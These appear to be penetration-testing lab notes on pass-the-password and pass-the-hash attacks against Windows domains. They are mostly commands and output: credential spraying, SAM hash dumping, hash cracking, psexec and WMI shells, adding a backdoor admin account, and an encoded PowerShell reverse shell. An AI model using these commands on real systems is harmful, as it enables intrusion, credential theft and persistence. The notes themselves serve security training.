Pass the Password / Hash

Pass the password

CrackMapExec

• Install: sudo apt install crackmapexec

• Pass the password on the domain: crackmapexec smb 10.0.2.0/24 -u fcastle -d DOMAIN.local -p Password1 If the password is the same for another machine in the network we will get ownership on this new machine too

┌──(root💀kali)-[~kali]
└─# crackmapexec smb 10.0.2.0/24 -u fcastle -d MARVEL.local -p Password1
SMB         10.0.2.5        445    HYDRA-DC         [*] Windows 10.0 Build 17763 x64 (name:HYDRA-DC) (domain:MARVEL.local) (signing:True) (SMBv1:False)
SMB         10.0.2.4        445    THEDEFENDER      [*] Windows 10.0 Build 19041 x64 (name:THEDEFENDER) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB         10.0.2.15       445    THEPUNISHER      [*] Windows 10.0 Build 19041 x64 (name:THEPUNISHER) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB         10.0.2.5        445    HYDRA-DC         [+] MARVEL.local\fcastle:Password1 
SMB         10.0.2.4        445    THEDEFENDER      [+] MARVEL.local\fcastle:Password1 (Pwn3d!)
SMB         10.0.2.15       445    THEPUNISHER      [+] MARVEL.local\fcastle:Password1 (Pwn3d!)

• We can also add --sam to the previous command to dump the sam file here we got 5 sam hashes

┌──(root💀kali)-[~kali]
└─# crackmapexec smb 10.0.2.0/24 -u fcastle -d MARVEL.local -p Password1 --sam
SMB         10.0.2.15       445    THEPUNISHER      [*] Windows 10.0 Build 19041 x64 (name:THEPUNISHER) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB         10.0.2.5        445    HYDRA-DC         [*] Windows 10.0 Build 17763 x64 (name:HYDRA-DC) (domain:MARVEL.local) (signing:True) (SMBv1:False)
SMB         10.0.2.4        445    THEDEFENDER      [*] Windows 10.0 Build 19041 x64 (name:THEDEFENDER) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB         10.0.2.15       445    THEPUNISHER      [+] MARVEL.local\fcastle:Password1 (Pwn3d!)
SMB         10.0.2.5        445    HYDRA-DC         [+] MARVEL.local\fcastle:Password1 
SMB         10.0.2.4        445    THEDEFENDER      [+] MARVEL.local\fcastle:Password1 (Pwn3d!)
SMB         10.0.2.15       445    THEPUNISHER      [+] Dumping SAM hashes
SMB         10.0.2.4        445    THEDEFENDER      [+] Dumping SAM hashes
SMB         10.0.2.15       445    THEPUNISHER      Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.0.2.4        445    THEDEFENDER      Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.0.2.15       445    THEPUNISHER      Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.0.2.4        445    THEDEFENDER      Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.0.2.15       445    THEPUNISHER      DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.0.2.4        445    THEDEFENDER      DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.0.2.15       445    THEPUNISHER      WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:e6cedee56d27d175f48042b53cb6b242:::
SMB         10.0.2.15       445    THEPUNISHER      Frank Castle:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
SMB         10.0.2.15       445    THEPUNISHER      [+] Added 5 SAM hashes to the database
SMB         10.0.2.4        445    THEDEFENDER      WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:25e61d7e5702c678e3be8711c03b7837:::
SMB         10.0.2.4        445    THEDEFENDER      Jessica Jones:1001:aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0:::
SMB         10.0.2.4        445    THEDEFENDER      [+] Added 5 SAM hashes to the database

Troubleshot crackmapexec

• If you get this error configparser.NoSectionError: No section: 'BloodHound'

• You need to run locate cme.conf

• Once you find it you can add these lines or just set bh_enabled to False if all the lines are already here.

[BloodHound]
bh_enabled = False
bh_uri = 127.0.0.1
bh_port = 7687
bh_user = neo4j
bh_pass = neo4j

psexec

We can also use psexec to try to get a shell on the other machine

┌──(root💀kali)-[~kali]
└─# psexec.py marvel/fcastle:Password1@10.0.2.4
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 10.0.2.4.....
[*] Found writable share ADMIN$
[*] Uploading file IEoFnNEZ.exe
[*] Opening SVCManager on 10.0.2.4.....
[*] Creating service YXVX on 10.0.2.4.....
[*] Starting service YXVX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19044.1288]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
THEDEFENDER

Pass the Hash

• Methodology

  • Here is what we can do after dumping the hashes:

  • Crack them with hashcat

  • Use them with tools like: smbclient or pth-smbclient, psexec, wmiexec or pth-wmic, rpcdump or pth-rpcclient, ...

  • See here for detailed explainations on how to use the mentioned tools

Impacket - Secretsdump.py

• We can dump hashes from our compromised machines in the network

┌──(root💀kali)-[~kali]
└─# secretsdump.py marvel/fcastle:Password1@10.0.2.15
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xfafe40d7e147c04806fe29ef03e04386
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:e6cedee56d27d175f48042b53cb6b242:::
Frank Castle:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
[STRIPPED]

Crack NTLM hashes

Hashcat

┌──(root💀kali)-[~kali]
└─# hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt 
hashcat (v6.1.1) starting...

[STRIPPED]

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

64f12cddaa88057e06a81b54e73b949b:Password1       
31d6cfe0d16ae931b73c59d7e0c089c0:                
c39f2beb3d2ec06a62cb887fb391dee0:Password2       
[STRIPPED]

Pass the Hash Attack

Note: ntlmv1 can be passed but ntlmv2 can not.

NetExec (formerly known as Crackmapexec)

Now that Crackmapexec is not supported anymore the same commands should work with NetExec

To pass the hash in the following line we will only need the last part after the last semicolon (only the NTHash): Here is the structure of the hash: User Name:ID:LMHASH:NTHASH::: With this: Frank Castle:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b::: We will use this: 64f12cddaa88057e06a81b54e73b949b We will then use this command:

crackmapexec smb 10.0.2.0/24 -u "Frank Castle" -H 64f12cddaa88057e06a81b54e73b949b --local-auth

We would get something like this:

SMB         10.0.2.15       445    THEPUNISHER      [*] Windows 10.0 Build 19041 x64 (name:THEPUNISHER) (domain:THEPUNISHER) (signing:False) (SMBv1:False)
SMB         10.0.2.5        445    HYDRA-DC         [*] Windows 10.0 Build 17763 x64 (name:HYDRA-DC) (domain:HYDRA-DC) (signing:True) (SMBv1:False)
SMB         10.0.2.4        445    THEDEFENDER      [*] Windows 10.0 Build 19041 x64 (name:THEDEFENDER) (domain:THEDEFENDER) (signing:False) (SMBv1:False)
SMB         10.0.2.15       445    THEPUNISHER      [+] THEPUNISHER\Frank Castle 64f12cddaa88057e06a81b54e73b949b 
SMB         10.0.2.5        445    HYDRA-DC         [-] HYDRA-DC\Frank Castle:64f12cddaa88057e06a81b54e73b949b STATUS_LOGON_FAILURE 
SMB         10.0.2.4        445    THEDEFENDER      [-] THEDEFENDER\Frank Castle:64f12cddaa88057e06a81b54e73b949b STATUS_LOGON_FAILURE 

# Another example with another user
crackmapexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453
# Command executions
crackmapexec smb 10.129.201.126 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoami

PSexec

We can use the same attack with psexec to get a shell except we will be using the full hash For this Frank Castle:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b::: We will use this: aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b

┌──(root💀kali)-[~kali]
└─# psexec.py marvel/fcastle@10.0.2.15 -hashes aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 10.0.2.15.....
[*] Found writable share ADMIN$
[*] Uploading file fQsiaobC.exe
[*] Opening SVCManager on 10.0.2.15.....
[*] Creating service OnEf on 10.0.2.15.....
[*] Starting service OnEf.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19044.1288]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

pth winexe

• pth-winexe -U 'admin%hash' //10.10.67.135 cmd.exe

Mimikatz on Windows

• mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit

  • /user - The user name we want to impersonate.

  • /rc4 or /NTLM - NTLM hash of the user's password.

  • /domain - Domain the user to impersonate belongs to. In the case of a local user account, we can use the computer name, localhost, or a dot (.).

  • /run - The program we want to run with the user's context (if not specified, it will launch cmd.exe).

PowerShell Invoke-TheHash on Windows

• Invoke-TheHash

When using Invoke-TheHash, we have two options: SMB or WMI command execution. To use this tool, we need to specify the following parameters to execute commands in the target computer:

• Target - Hostname or IP address of the target.

• Username - Username to use for authentication.

• Domain - Domain to use for authentication. This parameter is unnecessary with local accounts or when using the @domain after the username.

• Hash - NTLM password hash for authentication. This function will accept either LM:NTLM or NTLM format.

• Command - Command to execute on the target. If a command is not specified, the function will check to see if the username and hash have access to WMI on the target.

Import-Module .\Invoke-TheHash.psd1
Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose

Getting a reverse shell

To create a simple reverse shell using PowerShell, we can use revshells, set our IP 172.16.1.5 and port 8001, and select the option PowerShell #3 (Base64).

# Set a listener
.\nc.exe -lvnp 8001
# Invoke-TheHash with WMI
Import-Module .\Invoke-TheHash.psd1
Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwAzACIALAA4ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

With evil-winrm in Linux

If SMB is blocked or we don't have administrative rights, we can use this alternative protocol to connect to the target machine.

• evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453

Pass the hash with rdp in Linux

• Restricted Admin Mode, which is disabled by default, should be enabled on the target host

  • This can be enabled by adding a new registry key DisableRestrictedAdmin (REG_DWORD) under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa with the value of 0. It can be done using the following command: reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

• xfreerdp /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B

• When the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy is set to 0, it means that the built-in local admin account (RID-500, "Administrator") is the only local account allowed to perform remote administration tasks. Setting it to 1 allows the other local admins as well.

Resources

Lateral Movement: Pass the Hash AttackHacking Articles

Lateral Movement: Pass the Hash Attack - Raj Chandel

Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy - SpecterOpsSpecterOps

Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy - Will Schroeder